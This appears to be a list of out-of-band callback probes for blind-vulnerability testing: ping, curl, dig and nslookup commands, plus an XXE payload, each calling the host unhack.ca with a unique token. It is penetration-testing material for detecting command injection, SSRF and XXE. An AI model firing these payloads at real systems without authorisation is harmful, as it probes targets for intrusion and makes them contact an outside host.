$ ping -c1 -p 00edcd9d64b58a0830988d4291fb8100 unhack.ca
$ curl http://unhack.ca/p/edcd9d64b58a0830988d4291fb81
$ dig edcd9d64b58a0830988d4291fb81 @unhack.ca
$ dig edcd9d64b58a0830988d4291fb81.ns.unhack.ca
C:\> nslookup edcd9d64b58a0830988d4291fb81 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/edcd9d64b58a0830988d4291fb81">]> <foo>&xxe;</foo>